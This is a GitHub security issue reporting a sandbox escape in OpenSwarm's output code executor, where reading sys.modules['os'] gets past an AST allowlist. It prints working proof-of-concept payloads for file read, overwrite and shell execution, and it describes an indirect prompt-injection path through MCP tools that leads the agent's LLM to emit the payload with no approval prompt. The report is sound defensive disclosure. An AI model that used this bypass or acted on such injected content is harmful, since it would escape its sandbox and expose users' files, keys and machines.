Skip to content

Sandbox escape in Output backend-code executor: sys.modules[...] bypasses the AST allowlist → arbitrary file R/W and RCE (regression of the #30 fix) #134

Description

@rajarshidattapy

Body

Severity

Critical — CVSS v3.1 Base Score: 9.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Note: The prompt-injection variant (Attack Surface 3) drops PR:L, raising the effective score toward 10.0, since attacker-controlled content processed by the agent reaches this sink without human interaction.

This is not a duplicate of the closed #30. #30 reported that execute_backend_code() had no sandbox. The fix added an AST import/builtin allowlist (get_code_warnings), a builtins-scrubbing subprocess preamble, and a minimal environment (p_minimal_env). This report demonstrates that the mitigation is fully bypassable and, on the /api/outputs/execute path, actually executes bypassing code in the more-privileged force-mode environment.


CWE Classification

CWE ID Name
CWE-265 Improper Privilege Management / Sandbox Escape
CWE-693 Protection Mechanism Failure
CWE-94 Improper Control of Generation of Code ("Code Injection")
CWE-78 OS Command Injection

Affected Components

File Function Role
backend/apps/outputs/executor.py execute_backend_code() preamble (L181–198) Scrubs builtins but leaves sys / sys.modules intact
backend/apps/outputs/executor.py get_code_warnings() (L34–76) AST gate sees no Import node and no blocked builtin name, returning []
backend/apps/outputs/executor.py p_minimal_env() (L109–146) force=True inherits full environment including PATH / COMSPEC
backend/apps/outputs/outputs.py execute_output() (/api/outputs/execute, L699–736) Empty warnings skip HITL and invoke executor with skip_validation=True

Vulnerability Description

The Output "backend code" sandbox is enforced by two host-side controls:

  1. AST allowlist (get_code_warnings)

    • Rejects imports outside P_ALLOWED_MODULES
    • Rejects calls to blocked builtins (eval, open, __import__, ...)
  2. Subprocess preamble

    • Removes dangerous names from builtins inside the child process

The preamble begins with:

import json, sys, io, builtins

and then only scrubs builtins.

It never removes sys, and never touches sys.modules.

Because os has already been imported into the interpreter (transitively via json), user code can retrieve the live module without using any import statement and without referencing any blocked builtin:

os_mod = sys.modules["os"]

get_code_warnings() walks the AST and finds:

  • no ast.Import
  • no ast.ImportFrom
  • no blocked builtin call

Therefore it returns:

[]

Every protection layer is bypassed.

Strict mode (skip_validation=False)

The following APIs become reachable:

  • os.open
  • os.read
  • os.write
  • os.remove
  • os.listdir
  • os.environ

allowing:

  • arbitrary file reads
  • arbitrary file overwrite
  • arbitrary deletion
  • environment disclosure

(os.system() only fails because the minimal environment strips PATH and COMSPEC; filesystem syscalls require neither.)

/api/outputs/execute

Empty warnings flow directly into:

execute_backend_code(..., skip_validation=True)

which invokes:

p_minimal_env(force=True)

The child inherits the full host environment, including PATH and COMSPEC.

Consequently:

os.system(...)

successfully invokes the shell, yielding arbitrary command execution with:

  • no approval dialog
  • no user consent
  • no "Run Anyway" gate

because the AST warning list remained empty.


Root Cause Analysis

1. Incomplete preamble scrub

The child removes dangerous builtins but leaves:

  • sys
  • sys.modules

fully accessible.

Any already-imported dangerous module (os, nt, io, etc.) is one dictionary lookup away.

The AST allowlist cannot detect this because no import statement executes.

2. Empty AST warnings are treated as trusted

execute_output() interprets:

get_code_warnings(...) == []

as authorization to invoke:

skip_validation=True

which selects the force-mode environment.

As a result, the least-scrutinized code executes in the most-privileged environment, the opposite of the intended security model.


Attack Scenario

Surface 1 — Local process with install token

Any local process reads:

auth.token

from:

  • %APPDATA%/OpenSwarm/data/
  • ~/Library/Application Support/OpenSwarm/data/
  • ~/.local/share/OpenSwarm/data/

and submits a crafted Output to:

/api/outputs/execute

Surface 2 — Persist then execute

Create an Output whose backend.py uses the sys.modules technique and execute it.

Surface 3 — Indirect prompt injection

Poisoned content retrieved through MCP tools (Gmail, Drive, Web, etc.) instructs the LLM to generate an Output containing the bypass payload.

Since the AST gate remains silent, no approval dialog is shown.


Proof of Concept

All PoCs were executed against the current backend/apps/outputs/executor.py.

Marker files were created inside the OS temporary directory and removed afterward.

No data left the machine.

PoC A — Arbitrary file read (skip_validation=False)

code = '''
os_mod = sys.modules['os']
fd = os_mod.open(TARGET_ABS_PATH, os_mod.O_RDONLY)
result = {'read': os_mod.read(fd, 90).decode('utf-8','replace')}
os_mod.close(fd)
'''
get_code_warnings(code) -> []

Result:

{'read': '"""Per-install bearer token gating the localhost API...'}

PoC B — Arbitrary file overwrite

code = '''
os_mod = sys.modules['os']
fd = os_mod.open(VICTIM_ABS_PATH, os_mod.O_WRONLY | os_mod.O_TRUNC)
os_mod.write(fd, b'OVERWRITTEN-BY-SANDBOXED-CODE')
os_mod.close(fd)
result = {'wrote': True}
'''

Victim file afterwards:

OVERWRITTEN-BY-SANDBOXED-CODE

PoC C — Command execution on /execute

code = '''
os_mod = sys.modules['os']
result = {'rc': os_mod.system('echo pwned-via-execute-endpoint > MARKER')}
'''
get_code_warnings(code) -> []

Result:

{'rc': 0}

Marker file:

pwned-via-execute-endpoint

Impact

  • Confidentiality (Critical)

    • Read auth.token
    • Read provider API keys
    • Read OAuth credentials
    • Read SSH keys
    • Read source code
    • Read environment variables
  • Integrity (Critical)

    • Overwrite arbitrary files
    • Delete arbitrary files
    • Plant persistence mechanisms (~/.bashrc, startup scripts, malicious run.sh, etc.)
  • Availability (High)

    • Kill the backend
    • Exhaust disk
    • Fork bomb
  • Sandbox Escape

    • The documented defense-in-depth mechanism provides no effective isolation.

Steps To Reproduce

  1. Start OpenSwarm.
  2. Obtain the per-install token from:
data/auth.token
  1. Create an Output whose backend.py contains PoC C.
  2. Execute:
POST /api/outputs/execute
  1. Observe:
  • backend_result.rc == 0
  • Marker file exists
  • No approval prompt appears

Technical Evidence

executor.py (L181–198)

preamble = (
    "import json, sys, io, builtins\n"
    "for _b in ('exec','eval','compile','open','input',\n"
    "           'breakpoint','exit','quit'):\n"
    "    try: delattr(builtins, _b)\n"
    "    except AttributeError: pass\n"
    ...
)

sys and sys.modules remain fully accessible.

outputs.py (L722–730)

if not body.force:
    warnings_out = get_code_warnings(output.backend_code)
    ...

if not warnings_out:
    exec_result = await execute_backend_code(
        output.backend_code,
        body.input_data,
        skip_validation=True
    )

Empty warnings invoke the executor with the force-mode environment.


Suggested Remediation

P0 — Remove module access in the child preamble

preamble = (
    "import json, sys, io, builtins\n"
    "_dump = json.dump\n"
    "for _b in ('exec','eval','compile','open','input','breakpoint','exit','quit'):\n"
    "    try: delattr(builtins, _b)\n"
    "    except AttributeError: pass\n"
    "for _m in ('os','nt','posix','sys','subprocess','socket','ctypes','importlib'):\n"
    "    sys.modules.pop(_m, None)\n"
    ...
)

Capture any required io, json, or sys.stdout references before removing sys.

Add a self-test verifying:

sys.modules["os"]

raises inside the child.

P0 — Decouple AST warnings from force-mode execution

execute_output() should not invoke:

skip_validation=True

merely because the warning list is empty.

Only explicit user approval (force=True) should enable the force-mode environment.

P1 — Replace AST filtering with real isolation

Treat AST validation as a usability feature rather than a security boundary.

Execute backend code inside OS-enforced isolation:

  • Linux namespaces + seccomp
  • Read-only container
  • --network=none
  • Windows AppContainer / Windows Sandbox

Drop PATH and jail the working directory.


References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions